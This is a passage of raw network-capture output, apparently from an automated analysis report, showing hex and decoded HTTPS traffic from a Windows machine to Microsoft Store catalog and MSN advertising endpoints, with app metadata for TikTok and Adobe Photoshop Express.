56 6b 6b 75 57 65 38 45 4f 64 75 46 42 69 75 67 45 45 64 51 6c 61 75 74 36 77 53 52 64 62 34 71 44 47 70 76 74 51 4e 3
9 71 76 30 3d 22 2c 22 55 72 69 22 3a 22 2f 2f 73 74 6f 72 65 2d 
Data Ascii: ngIdentifier":null,"BackgroundColor":"transparent","Caption":"","FileSizeInBytes":13521,"ForegroundColor":""
,"Height":300,"ImagePositionInfo":"","ImagePurpose":"Tile","UnscaledImageSHA256Hash":"VkkuWe8EOduFBiugEEdQlaut
6wSRdb4qDGpvtQN9qv0=","Uri":"//store-

2021-11-25 16:28:38 UTC 1360 IN Data Raw: 20 6f 66 20 63 72 65 61 74 6f 72 73 5c 72 5c 6e 4d 69 6c 6c 69 6f 6e 73 20 6f 66 20 63 72 65 61 74 6f 72 73 20 
61 72 65 20 6f 6e 20 54 69 6b 54 6f 6b 20 73 68 6f 77 63 61 73 69 6e 67 20 74 68 65 69 72 20 69 6e 63 72 65 64 69 62 6c 
65 20 73 6b 69 6c 6c 73 20 61 6e 64 20 65 76 65 72 79 64 61 79 20 6c 69 66 65 2e 20 4c 65 74 20 79 6f 75 72 73 65 6c 
66 20 62 65 20 69 6e 73 70 69 72 65 64 2e 5c 72 5c 6e 5c 72 5c 6e e2 96 a0 20 41 64 64 20 79 6f 75 72 20 66 61 76 6f 72 
69 74 65 20 6d 75 73 69 63 20 6f 72 20 73 6f 75 6e 64 20 74 6f 20 79 6f 75 72 20 76 69 64 65 6f 73 20 66 6f 72 20 66 72 
65 65 5c 72 5c 6e 45 61 73 69 6c 79 20 65 64 69 74 20 79 6f 75 72 20 76 69 64 65 6f 73 20 77 69 74 68 20 6d 69 6c 6c 69 
6f 6e 73 20 6f 66 20 66 72 65 65 20 6d 75 73 69 63 20 63 
Data Ascii:  of creators\r\nMillions of creators are on TikTok showcasing their incredible skills and everyday life. Let 
yourself be inspired.\r\n\r\n Add your favorite music or sound to your videos for free\r\nEasily edit your videos with millions 
of free music c

2021-11-25 16:28:38 UTC 1364 IN Data Raw: 64 6c 65 73 73 20 61 6d 6f 75 6e 74 20 6f 66 20 76 69 64 65 6f 73 20 63 75 73 74 6f 6d 69 7a 65 64 20 73 70 
65 63 69 66 69 63 61 6c 6c 79 20 66 6f 72 20 79 6f 75 5c 72 5c 6e 41 20 70 65 72 73 6f 6e 61 6c 69 7a 65 64 20 76 69 64 
65 6f 20 66 65 65 64 20 62 61 73 65 64 20 6f 6e 20 77 68 61 74 20 79 6f 75 20 77 61 74 63 68 2c 20 6c 69 6b 65 2c 20 61 
6e 64 20 73 68 61 72 65 2e 20 54 69 6b 54 6f 6b 20 6f 66 66 65 72 73 20 79 6f 75 20 72 65 61 6c 2c 20 69 6e 74 65 72 65 
73 74 69 6e 67 2c 20 61 6e 64 20 66 75 6e 20 76 69 64 65 6f 73 20 74 68 61 74 20 77 69 6c 6c 20 6d 61 6b 65 20 79 6f 75 
72 20 64 61 79 2e 5c 72 5c 6e 20 5c 72 5c 6e e2 96 a0 20 45 78 70 6c 6f 72 65 20 76 69 64 65 6f 73 2c 20 6a 75 73 74 20 
6f 6e 65 20 73 63 72 6f 6c 6c 20 61 77 61 79 5c 72 5c 6e 
Data Ascii: dless amount of videos customized specifically for you\r\nA personalized video feed based on what you watch, 
like, and share. TikTok offers you real, interesting, and fun videos that will make your day.\r\n \r\n Explore videos, just one 
scroll away\r\n

2021-11-25 16:28:38 UTC 1368 IN Data Raw: 5c 22 61 70 70 5c 22 2c 5c 22 63 61 74 65 67 6f 72 79 2e 73 65 63 6f 6e 64 5c 22 3a 5c 22 45 6e 74 65 72 74 
61 69 6e 6d 65 6e 74 5c 22 2c 5c 22 6f 70 74 4f 75 74 2e 62 61 63 6b 75 70 52 65 73 74 6f 72 65 5c 22 3a 66 61 6c 73 65 
2c 5c 22 6f 70 74 4f 75 74 2e 72 65 6d 6f 76 65 61 62 6c 65 4d 65 64 69 61 5c 22 3a 66 61 6c 73 65 7d 2c 5c 22 70 6f 6c 
69 63 79 32 5c 22 3a 7b 5c 22 61 67 65 52 61 74 69 6e 67 5c 22 3a 33 2c 5c 22 6f 70 74 4f 75 74 2e 44 56 52 5c 22 3a 66 
61 6c 73 65 2c 5c 22 74 68 69 72 64 50 61 72 74 79 41 70 70 52 61 74 69 6e 67 73 5c 22 3a 5b 7b 5c 22 6c 65 76 65 6c 
5c 22 3a 35 30 2c 5c 22 73 79 73 74 65 6d 49 64 5c 22 3a 31 32 7d 2c 7b 5c 22 6c 65 76 65 6c 5c 22 3a 39 2c 5c 22 73 
79 73 74 65 6d 49 64 5c 22 3a 33 7d 2c 7b 5c 22 6c 65 76 65 6c 
Data Ascii: \"app\",\"category.second\":\"Entertainment\",\"optOut.backupRestore\":false,\"optOut.removeableMedia\":fals
e},\"policy2\":{\"ageRating\":3,\"optOut.DVR\":false,\"thirdPartyAppRatings\":[{\"level\":50,\"systemId\":12},{\"level\":9,\"syste
mId\":3},{\"level
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2021-11-25 16:28:38 UTC 1372 IN Data Raw: 79 73 74 65 6d 49 64 5c 22 3a 33 7d 2c 7b 5c 22 6c 65 76 65 6c 5c 22 3a 38 31 2c 5c 22 73 79 73 74 65 6d 49 
64 5c 22 3a 35 7d 2c 7b 5c 22 6c 65 76 65 6c 5c 22 3a 32 39 2c 5c 22 73 79 73 74 65 6d 49 64 5c 22 3a 39 7d 2c 7b 5c 22
6c 65 76 65 6c 5c 22 3a 37 30 2c 5c 22 73 79 73 74 65 6d 49 64 5c 22 3a 31 35 7d 2c 7b 5c 22 6c 65 76 65 6c 5c 22 3a 
37 38 2c 5c 22 73 79 73 74 65 6d 49 64 5c 22 3a 31 36 7d 2c 7b 5c 22 6c 65 76 65 6c 5c 22 3a 36 37 2c 5c 22 73 79 73 74 
65 6d 49 64 5c 22 3a 31 33 7d 5d 7d 7d 22 2c 22 50 61 63 6b 61 67 65 44 6f 77 6e 6c 6f 61 64 55 72 69 73 22 3a 6e 75 6c 
6c 2c 22 46 75 6c 66 69 6c 6c 6d 65 6e 74 44 61 74 61 22 3a 7b 22 50 72 6f 64 75 63 74 49 64 22 3a 22 39 4e 48 32 47 
50 48 34 4a 5a 53 34 22 2c 22 57 75 42 75 6e 64 6c 65 49 64 22 
Data Ascii: ystemId\":3},{\"level\":81,\"systemId\":5},{\"level\":29,\"systemId\":9},{\"level\":70,\"systemId\":15},{\"level\":78,
\"systemId\":16},{\"level\":67,\"systemId\":13}]}}","PackageDownloadUris":null,"FulfillmentData":{"ProductId":"9NH2GPH4J
ZS4","WuBundleId"

2021-11-25 16:28:38 UTC 1376 IN Data Raw: 38 33 36 34 37 2c 22 4d 69 6e 56 65 72 73 69 6f 6e 22 3a 30 2c 22 50 6c 61 74 66 6f 72 6d 4e 61 6d 65 22 3a 
22 57 69 6e 64 6f 77 73 2e 4d 6f 62 69 6c 65 22 7d 2c 7b 22 4d 61 78 56 65 72 73 69 6f 6e 22 3a 32 31 34 37 34 38 33 36 
34 37 2c 22 4d 69 6e 56 65 72 73 69 6f 6e 22 3a 30 2c 22 50 6c 61 74 66 6f 72 6d 4e 61 6d 65 22 3a 22 57 69 6e 64 6f 77 
73 2e 54 65 61 6d 22 7d 2c 7b 22 4d 61 78 56 65 72 73 69 6f 6e 22 3a 32 31 34 37 34 38 33 36 34 37 2c 22 4d 69 6e 56 
65 72 73 69 6f 6e 22 3a 30 2c 22 50 6c 61 74 66 6f 72 6d 4e 61 6d 65 22 3a 22 57 69 6e 64 6f 77 73 2e 48 6f 6c 6f 67 72 
61 70 68 69 63 22 7d 2c 7b 22 4d 61 78 56 65 72 73 69 6f 6e 22 3a 32 31 34 37 34 38 33 36 34 37 2c 22 4d 69 6e 56 65 
72 73 69 6f 6e 22 3a 30 2c 22 50 6c 61 74 66 6f 72 6d 4e 61 6d 
Data Ascii: 83647,"MinVersion":0,"PlatformName":"Windows.Mobile"},{"MaxVersion":2147483647,"MinVersion":0,"Pla
tformName":"Windows.Team"},{"MaxVersion":2147483647,"MinVersion":0,"PlatformName":"Windows.Holographic"},{"Max
Version":2147483647,"MinVersion":0,"PlatformNam

2021-11-25 16:28:38 UTC 1380 IN Data Raw: a0 20 41 64 64 20 79 6f 75 72 20 66 61 76 6f 72 69 74 65 20 6d 75 73 69 63 20 6f 72 20 73 6f 75 6e 64 20 74 6f 
20 79 6f 75 72 20 76 69 64 65 6f 73 20 66 6f 72 20 66 72 65 65 5c 72 5c 6e 45 61 73 69 6c 79 20 65 64 69 74 20 79 6f 75 
72 20 76 69 64 65 6f 73 20 77 69 74 68 20 6d 69 6c 6c 69 6f 6e 73 20 6f 66 20 66 72 65 65 20 6d 75 73 69 63 20 63 6c 69 
70 73 20 61 6e 64 20 73 6f 75 6e 64 73 2e 20 57 65 20 63 75 72 61 74 65 20 6d 75 73 69 63 20 61 6e 64 20 73 6f 75 6e 
64 20 70 6c 61 79 6c 69 73 74 73 20 66 6f 72 20 79 6f 75 20 77 69 74 68 20 74 68 65 20 68 6f 74 74 65 73 74 20 74 72 61 
63 6b 73 20 69 6e 20 65 76 65 72 79 20 67 65 6e 72 65 2c 20 69 6e 63 6c 75 64 69 6e 67 20 48 69 70 20 48 6f 70 2c 20 
45 64 6d 2c 20 50 6f 70 2c 20 52 6f 63 6b 2c 20 52 61 70 2c 
Data Ascii:  Add your favorite music or sound to your videos for free\r\nEasily edit your videos with millions of free music 
clips and sounds. We curate music and sound playlists for you with the hottest tracks in every genre, including Hip Hop, 
Edm, Pop, Rock, Rap,

2021-11-25 16:28:38 UTC 1387 IN Data Raw: 3a 22 41 70 70 22 7d 5d 2c 22 41 72 63 68 69 74 65 63 74 75 72 65 73 22 3a 5b 22 6e 65 75 74 72 61 6c 22 5d 
2c 22 43 61 70 61 62 69 6c 69 74 69 65 73 22 3a 5b 22 72 75 6e 46 75 6c 6c 54 72 75 73 74 22 5d 2c 22 45 78 70 65 72 
69 65 6e 63 65 49 64 73 22 3a 5b 5d 2c 22 4d 61 78 44 6f 77 6e 6c 6f 61 64 53 69 7a 65 49 6e 42 79 74 65 73 22 3a 37 31 
37 36 33 32 2c 22 4d 61 78 49 6e 73 74 61 6c 6c 53 69 7a 65 49 6e 42 79 74 65 73 22 3a 38 39 32 39 32 38 2c 22 50 61 
63 6b 61 67 65 46 6f 72 6d 61 74 22 3a 22 4d 73 69 78 42 75 6e 64 6c 65 22 2c 22 50 61 63 6b 61 67 65 46 61 6d 69 6c 7
9 4e 61 6d 65 22 3a 22 42 79 74 65 64 61 6e 63 65 50 74 65 2e 4c 74 64 2e 54 69 6b 54 6f 6b 5f 36 79 63 63 6e 64 6e 36 
30 36 34 73 65 22 2c 22 4d 61 69 6e 50 61 63 6b 61 67 65 46 61 6d 
Data Ascii: :"App"}],"Architectures":["neutral"],"Capabilities":["runFullTrust"],"ExperienceIds":[],"MaxDownloadSizeInBy
tes":717632,"MaxInstallSizeInBytes":892928,"PackageFormat":"MsixBundle","PackageFamilyName":"BytedancePte.Ltd.
TikTok_6yccndn6064se","MainPackageFam

2021-11-25 16:28:38 UTC 1391 IN Data Raw: 74 22 3a 22 45 41 70 70 78 42 75 6e 64 6c 65 22 2c 22 50 61 63 6b 61 67 65 46 61 6d 69 6c 79 4e 61 6d 65 22 
3a 22 42 79 74 65 64 61 6e 63 65 50 74 65 2e 4c 74 64 2e 54 69 6b 54 6f 6b 5f 36 79 63 63 6e 64 6e 36 30 36 34 73 65 22 
2c 22 4d 61 69 6e 50 61 63 6b 61 67 65 46 61 6d 69 6c 79 4e 61 6d 65 46 6f 72 44 6c 63 22 3a 6e 75 6c 6c 2c 22 50 61 
63 6b 61 67 65 46 75 6c 6c 4e 61 6d 65 22 3a 22 42 79 74 65 64 61 6e 63 65 50 74 65 2e 4c 74 64 2e 54 69 6b 54 6f 6b 5f 
31 2e 30 2e 30 2e 37 30 5f 6e 65 75 74 72 61 6c 5f 7e 5f 36 79 63 63 6e 64 6e 36 30 36 34 73 65 22 2c 22 50 61 63 6b 61 
67 65 49 64 22 3a 22 62 63 61 37 64 62 66 39 2d 30 62 65 31 2d 61 64 63 65 2d 38 36 63 32 2d 63 32 61 33 61 63 66 31 
62 35 39 33 2d 58 38 36 22 2c 22 50 61 63 6b 61 67 65 52 61 6e 
Data Ascii: t":"EAppxBundle","PackageFamilyName":"BytedancePte.Ltd.TikTok_6yccndn6064se","MainPackag
eFamilyNameForDlc":null,"PackageFullName":"BytedancePte.Ltd.TikTok_1.0.0.70_neutral_~_6yccndn6064se","PackageI
d":"bca7dbf9-0be1-adce-86c2-c2a3acf1b593-X86","PackageRan

2021-11-25 16:28:38 UTC 1395 IN Data Raw: 69 74 79 42 53 63 68 65 6d 61 22 3a 22 41 76 61 69 6c 61 62 69 6c 69 74 79 55 6e 69 66 69 65 64 41 70 70 3b 
33 22 2c 22 41 76 61 69 6c 61 62 69 6c 69 74 79 49 64 22 3a 22 42 34 38 34 4d 37 57 44 52 32 4b 43 22 2c 22 43 6f 6e 
64 69 74 69 6f 6e 73 22 3a 7b 22 43 6c 69 65 6e 74 43 6f 6e 64 69 74 69 6f 6e 73 22 3a 7b 22 41 6c 6c 6f 77 65 64 50 6c 
61 74 66 6f 72 6d 73 22 3a 5b 7b 22 4d 61 78 56 65 72 73 69 6f 6e 22 3a 32 31 34 37 34 38 33 36 34 37 2c 22 4d 69 6e 56 
65 72 73 69 6f 6e 22 3a 30 2c 22 50 6c 61 74 66 6f 72 6d 4e 61 6d 65 22 3a 22 57 69 6e 64 6f 77 73 2e 58 62 6f 78 22 7d 
5d 7d 2c 22 45 6e 64 44 61 74 65 22 3a 22 39 39 39 38 2d 31 32 2d 33 30 54 30 30 3a 30 30 3a 30 30 2e 30 30 30 30 30 
30 30 5a 22 2c 22 52 65 73 6f 75 72 63 65 53 65 74 49 64 73 22 
Data Ascii: ityBSchema":"AvailabilityUnifiedApp;3","AvailabilityId":"B484M7WDR2KC","Conditions":{"ClientConditions":{"Al
lowedPlatforms":[{"MaxVersion":2147483647,"MinVersion":0,"PlatformName":"Windows.Xbox"}]},"EndDate":"9998-12-3
0T00:00:00.0000000Z","ResourceSetIds"

2021-11-25 16:28:38 UTC 1396 IN Data Raw: 30 0d 0a 0d 0a 
Data Ascii: 0

Timestamp
kBytes
transferred Direction Data

Session ID Source IP Source Port Destination IP Destination Port Process

31 192.168.2.4 49834 20.82.209.183 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred Direction Data

2021-11-25 16:28:38 UTC 1384 OUT POST /v3/Delivery/Events/Impression HTTP/1.1
Accept-Encoding: gzip, deflate
User-Agent: WindowsShellClient/9.0.40929.0 (Windows)
Content-Length: 3014
Content-Type: text/plain; charset=UTF-8
Host: arc.msn.com
Connection: Keep-Alive
Cache-Control: no-cache
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2021-11-25 16:28:38 UTC 1384 OUT Data Raw: 50 49 44 3d 34 32 35 31 30 36 35 35 38 26 54 49 44 3d 37 30 30 33 34 32 30 38 35 26 43 49 44 3d 31 32 38 
30 30 30 30 30 30 30 30 31 33 39 32 37 32 39 26 42 49 44 3d 33 36 34 31 39 32 30 38 26 50 47 3d 50 43 30 30 30 50 30 
46 52 35 2e 30 30 30 30 30 30 30 49 51 38 26 54 50 49 44 3d 34 32 35 31 30 36 35 35 38 26 52 45 51 41 53 49 44 3d 39 
43 41 43 46 38 33 38 36 38 45 44 34 44 34 45 39 34 31 30 39 35 46 32 39 44 43 31 36 37 44 45 26 41 53 49 44 3d 37 63 
65 30 38 32 65 61 63 33 35 33 34 66 66 35 38 31 65 35 32 62 32 39 33 63 64 61 35 31 33 33 26 54 49 4d 45 3d 32 30 32 
31 31 31 32 35 54 31 36 32 38 32 30 5a 26 53 4c 4f 54 3d 32 26 52 45 51 54 3d 32 30 32 31 31 31 32 35 54 31 36 32 37 
33 34 26 4d 41 5f 53 63 6f 72 65 3d 32 26 50 45 52 53 49 44 3d 44 43 38 30 
Data Ascii: PID=425106558&TID=700342085&CID=128000000001392729&BID=36419208&PG=PC000P0FR5.
0000000IQ8&TPID=425106558&REQASID=9CACF83868ED4D4E941095F29DC167DE&ASID=7ce082eac3534ff581
e52b293cda5133&TIME=20211125T162820Z&SLOT=2&REQT=20211125T162734&MA_Score=2&PERSID=DC80

2021-11-25 16:28:38 UTC 1396 IN HTTP/1.1 200 OK
Cache-Control: no-store, no-cache
Pragma: no-cache
Content-Type: application/xml; charset=utf-8
Expires: Mon, 01 Jan 0001 00:00:00 GMT
Server: Microsoft-IIS/10.0
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Strict-Transport-Security: max-age=31536000; includeSubDomains
Date: Thu, 25 Nov 2021 16:28:38 GMT
Connection: close
Content-Length: 0

Timestamp
kBytes
transferred Direction Data

Session ID Source IP Source Port Destination IP Destination Port Process

32 192.168.2.4 49835 20.54.110.249 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred Direction Data

2021-11-25 16:28:38 UTC 1396 OUT GET /v7.0/products/lookup?alternateId=PackageFamilyName&value=AdobeSystemsIncorporated.AdobePhotosho
pExpress_ynb6jyjzte8ga&market=US&languages=en-US%2Cen%2Cneutral&fieldsTemplate=InstallAgent&moId=Pub
lic&oemId=Public&scmId=Public HTTP/1.1
Connection: Keep-Alive
Content-Type: application/json
User-Agent: Install Service
MS-CV: zqKE3O7Kz0esKzzT.0.2.4
Host: displaycatalog.mp.microsoft.com

2021-11-25 16:28:39 UTC 1397 IN HTTP/1.1 200 OK
Connection: close
Date: Thu, 25 Nov 2021 16:28:38 GMT
Content-Type: application/json; charset=utf-8
Server: Kestrel
Transfer-Encoding: chunked
Vary: Authorization
MS-CorrelationId: d856c1f7-7752-469b-8957-e516c780e69c
MS-RequestId: 11b84eca-dff5-402f-8a00-1b9fe209cb82
MS-CV: zqKE3O7Kz0esKzzT.0.2.4.2955977481.0.1.2955977481.0.0
X-Content-Type-Options: nosniff
MS-ServerId: 477f6-ks7nk
Region: neu
Node: aks-systempool-37630073-vmss00001v
MS-DocumentVersions: 9WZDNCRFJ27N|3939

2021-11-25 16:28:39 UTC 1397 IN Data Raw: 31 31 66 34 30 0d 0a 7b 22 42 69 67 49 64 73 22 3a 5b 22 39 57 5a 44 4e 43 52 46 4a 32 37 4e 22 5d 2c 22 
48 61 73 4d 6f 72 65 50 61 67 65 73 22 3a 66 61 6c 73 65 2c 22 50 72 6f 64 75 63 74 73 22 3a 5b 7b 22 4c 61 73 74 4d 6f 
64 69 66 69 65 64 44 61 74 65 22 3a 22 32 30 32 31 2d 31 31 2d 30 33 54 30 37 3a 31 32 3a 34 31 2e 38 31 37 30 36 39 
39 5a 22 2c 22 4c 6f 63 61 6c 69 7a 65 64 50 72 6f 70 65 72 74 69 65 73 22 3a 5b 7b 22 46 72 61 6e 63 68 69 73 65 73 2
2 3a 5b 5d 2c 22 49 6d 61 67 65 73 22 3a 5b 7b 22 46 69 6c 65 49 64 22 3a 22 33 30 35 32 30 36 30 33 32 39 37 36 38 38 
39 38 38 33 38 22 2c 22 45 49 53 4c 69 73 74 69 6e 67 49 64 65 6e 74 69 66 69 65 72 22 3a 6e 75 6c 6c 2c 22 42 61 63 
6b 67 72 6f 75 6e 64 43 6f 6c 6f 72 22 3a 22 74 72 61 6e 73 70 61 72 
Data Ascii: 11f40{"BigIds":["9WZDNCRFJ27N"],"HasMorePages":false,"Products":[{"LastModifiedDate":"2021-11-03T0
7:12:41.8170699Z","LocalizedProperties":[{"Franchises":[],"Images":[{"FileId":"3052060329768898838","EISListingIdentifie
r":null,"BackgroundColor":"transpar

2021-11-25 16:28:39 UTC 1401 IN Data Raw: 33 34 34 39 2e 39 30 37 30 39 63 65 33 2d 30 35 30 63 2d 34 63 65 66 2d 38 64 34 61 2d 39 65 66 32 31 33 
62 38 39 65 66 32 2e 33 35 37 64 38 64 34 39 2d 66 63 61 62 2d 34 64 35 30 2d 39 66 34 39 2d 32 65 37 32 30 35 33 64 
39 61 65 33 22 2c 22 57 69 64 74 68 22 3a 36 36 7d 2c 7b 22 46 69 6c 65 49 64 22 3a 22 33 30 36 34 31 30 34 32 36 33 3
4 38 34 35 38 38 38 30 33 22 2c 22 45 49 53 4c 69 73 74 69 6e 67 49 64 65 6e 74 69 66 69 65 72 22 3a 6e 75 6c 6c 2c 22 
42 61 63 6b 67 72 6f 75 6e 64 43 6f 6c 6f 72 22 3a 22 74 72 61 6e 73 70 61 72 65 6e 74 22 2c 22 43 61 70 74 69 6f 6e 22 
3a 22 22 2c 22 46 69 6c 65 53 69 7a 65 49 6e 42 79 74 65 73 22 3a 31 39 31 35 2c 22 46 6f 72 65 67 72 6f 75 6e 64 43 6f 
6c 6f 72 22 3a 22 22 2c 22 48 65 69 67 68 74 22 3a 38 38 2c 22 49 
Data Ascii: 3449.90709ce3-050c-4cef-8d4a-9ef213b89ef2.357d8d49-fcab-4d50-9f49-2e72053d9ae3","Width":66},{"File
Id":"3064104263484588803","EISListingIdentifier":null,"BackgroundColor":"transparent","Caption":"","FileSizeInBytes":191
5,"ForegroundColor":"","Height":88,"I

2021-11-25 16:28:39 UTC 1405 IN Data Raw: 69 66 69 65 72 22 3a 6e 75 6c 6c 2c 22 42 61 63 6b 67 72 6f 75 6e 64 43 6f 6c 6f 72 22 3a 22 74 72 61 6e 73 
70 61 72 65 6e 74 22 2c 22 43 61 70 74 69 6f 6e 22 3a 22 22 2c 22 46 69 6c 65 53 69 7a 65 49 6e 42 79 74 65 73 22 3a 
33 37 37 31 2c 22 46 6f 72 65 67 72 6f 75 6e 64 43 6f 6c 6f 72 22 3a 22 22 2c 22 48 65 69 67 68 74 22 3a 33 30 30 2c 22 
49 6d 61 67 65 50 6f 73 69 74 69 6f 6e 49 6e 66 6f 22 3a 22 22 2c 22 49 6d 61 67 65 50 75 72 70 6f 73 65 22 3a 22 54 69 
6c 65 22 2c 22 55 6e 73 63 61 6c 65 64 49 6d 61 67 65 53 48 41 32 35 36 48 61 73 68 22 3a 22 52 52 45 38 38 6e 61 62 
59 58 36 6b 76 74 64 72 4d 6b 63 42 32 6b 50 48 69 6d 39 67 55 2f 70 45 61 56 6e 65 65 42 4a 59 6b 75 55 3d 22 2c 22 5
5 72 69 22 3a 22 2f 2f 73 74 6f 72 65 2d 69 6d 61 67 65 73 2e 73 
Data Ascii: ifier":null,"BackgroundColor":"transparent","Caption":"","FileSizeInBytes":3771,"ForegroundColor":"","Height
":300,"ImagePositionInfo":"","ImagePurpose":"Tile","UnscaledImageSHA256Hash":"RRE88nabYX6kvtdrMkcB2k
PHim9gU/pEaVneeBJYkuU=","Uri":"//store-images.s
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2021-11-25 16:28:39 UTC 1409 IN Data Raw: 33 34 34 39 2e 66 66 35 39 32 37 39 30 2d 35 34 39 36 2d 34 36 32 65 2d 62 38 36 62 2d 34 63 38 61 32 65 
33 63 63 32 62 32 2e 65 32 34 39 62 37 64 62 2d 38 35 34 35 2d 34 33 61 30 2d 61 37 34 64 2d 63 33 64 31 65 64 32 30 
34 34 64 61 22 2c 22 57 69 64 74 68 22 3a 34 31 34 7d 2c 7b 22 46 69 6c 65 49 64 22 3a 22 31 31 35 32 39 32 31 35 30 3
4 36 30 37 31 31 38 33 37 36 22 2c 22 45 49 53 4c 69 73 74 69 6e 67 49 64 65 6e 74 69 66 69 65 72 22 3a 6e 75 6c 6c 2c 
22 42 61 63 6b 67 72 6f 75 6e 64 43 6f 6c 6f 72 22 3a 22 74 72 61 6e 73 70 61 72 65 6e 74 22 2c 22 43 61 70 74 69 6f 6e 
22 3a 22 22 2c 22 46 69 6c 65 53 69 7a 65 49 6e 42 79 74 65 73 22 3a 37 31 38 30 37 38 2c 22 46 6f 72 65 67 72 6f 75 6e 
64 43 6f 6c 6f 72 22 3a 22 22 2c 22 48 65 69 67 68 74 22 3a 31 32 
Data Ascii: 3449.ff592790-5496-462e-b86b-4c8a2e3cc2b2.e249b7db-8545-43a0-a74d-c3d1ed2044da","Width":414},{"Fil
eId":"1152921504607118376","EISListingIdentifier":null,"BackgroundColor":"transparent","Caption":"","FileSizeInBytes":71
8078,"ForegroundColor":"","Height":12

2021-11-25 16:28:39 UTC 1413 IN Data Raw: 64 35 64 2d 39 66 63 62 2d 30 38 36 65 33 66 38 34 62 64 32 38 22 2c 22 57 69 64 74 68 22 3a 32 34 30 30 7d 
2c 7b 22 46 69 6c 65 49 64 22 3a 22 31 31 35 32 39 32 31 35 30 34 37 34 33 31 38 31 39 38 31 22 2c 22 45 49 53 4c 69 
73 74 69 6e 67 49 64 65 6e 74 69 66 69 65 72 22 3a 6e 75 6c 6c 2c 22 42 61 63 6b 67 72 6f 75 6e 64 43 6f 6c 6f 72 22 3a 
22 74 72 61 6e 73 70 61 72 65 6e 74 22 2c 22 43 61 70 74 69 6f 6e 22 3a 22 42 6f 72 64 65 72 73 20 2d 20 43 6f 6d 70 6c 
65 74 65 20 74 68 65 20 6c 6f 6f 6b 20 62 79 20 61 64 64 69 6e 67 20 63 6f 6f 6c 20 62 6f 72 64 65 72 73 22 2c 22 46 69 
6c 65 53 69 7a 65 49 6e 42 79 74 65 73 22 3a 31 37 39 37 30 38 31 2c 22 46 6f 72 65 67 72 6f 75 6e 64 43 6f 6c 6f 72 22 
3a 22 22 2c 22 48 65 69 67 68 74 22 3a 31 30 38 30 2c 22 49 
Data Ascii: d5d-9fcb-086e3f84bd28","Width":2400},{"FileId":"1152921504743181981","EISListingIdentifier":null,"
BackgroundColor":"transparent","Caption":"Borders - Complete the look by adding cool borders","FileSizeInBytes
":1797081,"ForegroundColor":"","Height":1080,"I

2021-11-25 16:28:39 UTC 1417 IN Data Raw: 74 75 72 65 20 61 6e 64 20 54 69 6e 74 5c 72 5c 6e 55 73 65 20 54 65 6d 70 65 72 61 74 75 72 65 20 61 6e 64 
20 54 69 6e 74 20 63 6f 6e 74 72 6f 6c 73 20 74 6f 20 69 6e 74 72 6f 64 75 63 65 20 77 61 72 6d 74 68 20 6f 72 20 63 6f 
6c 64 6e 65 73 73 20 74 6f 20 79 6f 75 72 20 70 68 6f 74 6f 2e 20 59 6f 75 20 63 61 6e 20 61 6c 73 6f 20 63 6f 6e 74 72 6f 
6c 20 74 68 65 20 61 6d 6f 75 6e 74 20 6f 66 20 67 72 65 65 6e 20 61 6e 64 20 72 65 64 20 74 6f 6e 65 73 20 69 6e 20 79 
6f 75 72 20 70 68 6f 74 6f 2e 5c 72 5c 6e 55 73 65 20 74 68 65 20 54 65 6d 70 65 72 61 74 75 72 65 20 73 6c 69 64 65 72 
20 63 6f 6e 74 72 6f 6c 73 20 74 6f 20 69 6e 63 72 65 61 73 65 20 6f 72 20 64 65 63 72 65 61 73 65 20 74 68 65 20 61 6d 
6f 75 6e 74 20 6f 66 20 6f 72 61 6e 67 65 20 6f 72 20 
Data Ascii: ture and Tint\r\nUse Temperature and Tint controls to introduce warmth or coldness to your photo. You can also 
control the amount of green and red tones in your photo.\r\nUse the Temperature slider controls to increase or decrease 
the amount of orange or 

2021-11-25 16:28:39 UTC 1421 IN Data Raw: 2c 22 47 48 22 2c 22 47 49 22 2c 22 47 4c 22 2c 22 47 44 22 2c 22 47 50 22 2c 22 47 55 22 2c 22 47 47 22 2c 
22 47 4e 22 2c 22 47 57 22 2c 22 47 59 22 2c 22 48 54 22 2c 22 48 4d 22 2c 22 48 4e 22 2c 22 41 5a 22 2c 22 42 53 22 
2c 22 42 42 22 2c 22 42 59 22 2c 22 42 5a 22 2c 22 42 4a 22 2c 22 42 4d 22 2c 22 42 54 22 2c 22 4b 4d 22 2c 22 43 47 
22 2c 22 43 44 22 2c 22 43 4b 22 2c 22 43 58 22 2c 22 43 43 22 2c 22 43 49 22 2c 22 43 57 22 2c 22 4a 4d 22 2c 22 53 4
a 22 2c 22 4a 45 22 2c 22 4b 49 22 2c 22 4b 47 22 2c 22 4c 41 22 2c 22 4c 53 22 2c 22 4c 52 22 2c 22 4d 4f 22 2c 22 4d 
4b 22 2c 22 4d 47 22 2c 22 4d 57 22 2c 22 49 4d 22 2c 22 4d 48 22 2c 22 4d 51 22 2c 22 4d 55 22 2c 22 59 54 22 2c 22 
46 4d 22 2c 22 4d 44 22 2c 22 4d 4e 22 2c 22 4d 53 22 2c 22 4d 5a 22 
Data Ascii: ,"GH","GI","GL","GD","GP","GU","GG","GN","GW","GY","HT","HM","HN","AZ","BS","BB","BY","BZ","BJ","B
M","BT","KM","CG","CD","CK","CX","CC","CI","CW","JM","SJ","JE","KI","KG","LA","LS","LR","MO","MK","MG","MW","I
M","MH","MQ","MU","YT","FM","MD","MN","MS","MZ"

2021-11-25 16:28:39 UTC 1425 IN Data Raw: 20 68 69 67 68 6c 69 67 68 74 73 2c 20 6d 69 64 74 6f 6e 65 73 2c 20 61 6e 64 20 73 68 61 64 6f 77 73 2c 20 
77 69 74 68 6f 75 74 20 63 6f 6d 70 72 6f 6d 69 73 69 6e 67 20 6f 6e 20 6f 74 68 65 72 20 61 72 65 61 73 20 6f 66 20 74 
6f 6e 61 6c 69 74 79 2e 5c 72 5c 6e 55 73 65 20 42 6c 61 63 6b 73 20 61 6e 64 20 57 68 69 74 65 73 20 74 6f 20 73 65 74 
20 62 6c 61 63 6b 20 70 6f 69 6e 74 20 61 6e 64 20 77 68 69 74 65 20 70 6f 69 6e 74 20 6f 66 20 74 68 65 20 70 68 6f 74 
6f 2e 20 54 68 69 73 20 6d 61 6b 65 73 20 63 6f 6c 6f 72 73 20 61 70 70 65 61 72 20 63 6f 6d 70 6c 65 74 65 6c 79 20 62 
6c 61 63 6b 20 6f 72 20 77 68 69 74 65 2e 5c 72 5c 6e 5c 72 5c 6e 2a 20 54 65 6d 70 65 72 61 74 75 72 65 20 61 6e 64 
